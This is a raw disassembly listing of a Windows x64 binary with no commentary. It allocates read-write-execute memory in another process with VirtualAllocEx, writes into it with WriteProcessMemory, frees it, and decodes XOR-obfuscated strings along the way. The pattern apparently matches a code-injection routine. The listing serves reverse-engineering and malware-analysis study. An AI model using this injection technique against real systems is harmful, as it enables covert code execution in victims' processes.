movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14022baf4
cmp eax, 0x1a
jge 0x14022bd10
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1a
jl 0x14022bcc0
lea rcx, [rsp + 0x68]
mov edx, r10d
call fcn.1401ba3f0
mov rdx, qword [rbp - 0x50]
xor r8d, r8d
mov r9d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14022fbed
mov r9d, 0x40
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x30]
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14022c05b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1402647e9], bl
mov r10d, eax
movups xmm0, xmmword [str._v_i_r_1.9_r]
movzx ecx, word [0x1402647e8]
mov word [rbp - 0x80], cx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402647e0]
movsd qword [rsp + 0x78], xmm0
je 0x14022c030
cmp dword [0x140275008], 2
jl 0x14022bfce
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
mov r14d, 5
movdqa xmm6, xmmword [0x140265210]
mov r15d, 6
movdqa xmm7, xmmword [0x140265230]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14022be10
cmp eax, 0x1a
jge 0x14022c030
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1a
jl 0x14022bfe0
lea rcx, [rsp + 0x68]
mov edx, r10d
call fcn.1401ba3f0
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x14022bd21
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x40], rax
mov rsi, rax
test rax, rax
jne 0x14022c36a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x140275008], 2
mov r10d, eax
movups xmm0, xmmword [0x1402647f0]
mov ecx, dword [0x140264818]
movups xmm1, xmmword [0x140264800]
mov dword [rbp - 0x70], ecx
movzx ecx, word [0x14026481c]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x6c], cx
movsd xmm0, qword [0x140264810]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
jl 0x14022c2fe
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
mov r14d, 5
movdqa xmm6, xmmword [0x140265210]
mov r15d, 6
movdqa xmm7, xmmword [0x140265230]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x28
jl 0x14022c140
cmp eax, 0x2e
jge 0x14022c360
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x2e
jl 0x14022c310
lea rcx, [rsp + 0x68]
jmp 0x14022c035
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x14022fc50]
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14022c6a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x14026483b], bl
mov r10d, eax
movups xmm0, xmmword [0x140264820]
mov ecx, dword [str.__v]
mov dword [rbp - 0x80], ecx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140264830]
movsd qword [rsp + 0x78], xmm0
je 0x14022c660
cmp dword [0x140275008], 2
jl 0x14022c5fe
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140265140]
mov r14d, 5
movdqa xmm6, xmmword [0x140265210]
mov r15d, 6
movdqa xmm7, xmmword [0x140265230]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14022c440
cmp eax, 0x1c
jge 0x14022c660
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul ebx
sub r8b, cl
inc ebx
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1c
jl 0x14022c610
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba3f0
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x14022bd21
cmp byte [0x140264619], bl
mov r14d, 5
movups xmm0, xmmword [0x140264608]
movzx eax, word [0x140264618]
mov esi, dword [0x140275008]
lea r15d, [r14 + 1]
mov word [rsp + 0x60], ax
lea r12d, [r14 + 0x1a]
movups xmmword [rsp + 0x50], xmm0
je 0x14022c965
mov r9d, ebx
cmp esi, 2
jl 0x14022c901
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x14022c740
cmp r9d, 0x12
jge 0x14022c965
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x12
jl 0x14022c910
mov rdi, qword [rbp - 0x50]
lea rcx, [rsp + 0x50]
mov rdx, rdi
call fcn.1401ba3f0
cmp byte [0x140264953], bl
movups xmm0, xmmword [0x140264940]
mov eax, dword [0x140264950]
mov dword [rsp + 0x60], eax
movups xmmword [rsp + 0x50], xmm0
je 0x14022cc25
mov r9d, ebx
cmp esi, 2
jl 0x14022cbc1
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x14022ca00
cmp r9d, 0x14
jge 0x14022cc25
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x14
jl 0x14022cbd0
mov rdx, qword [rbp - 0x48]
lea rcx, [rsp + 0x50]
call fcn.1401ba3f0
cmp byte [0x140264939], bl
movups xmm0, xmmword [str.e____r79___]
movzx eax, word [0x140264938]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x14022cee5
mov r9d, ebx
cmp esi, 2
jl 0x14022ce81
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140265140]
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
nop dword [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x10
jl 0x14022ccc0
cmp r9d, 0x12
jge 0x14022cee5
movsxd rax, r9d
lea r10, [rsp + 0x50]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x4c8f8d29
imul r9d
sub r8b, cl
inc r9d
sar edx, 5
add r8b, 0x24
mov eax, edx
add r8b, r8b
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x12
jl 0x14022ce90
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.1401ba3f0
movups xmm0, xmmword [str._f8_p38:79]
movups xmmword [rsp + 0x50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14022d195
cmp esi, 2
jl 0x14022d12b
movdqa xmm0, xmmword [0x140265200]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140265140]
mov edx, ebx
movdqa xmm6, xmmword [0x140265210]
movdqa xmm7, xmmword [0x140265230]
movdqa xmm12, xmmword [0x140265240]
movdqa xmm13, xmmword [0x140265180]
movdqa xmmword [rsp + 0x40], xmm0
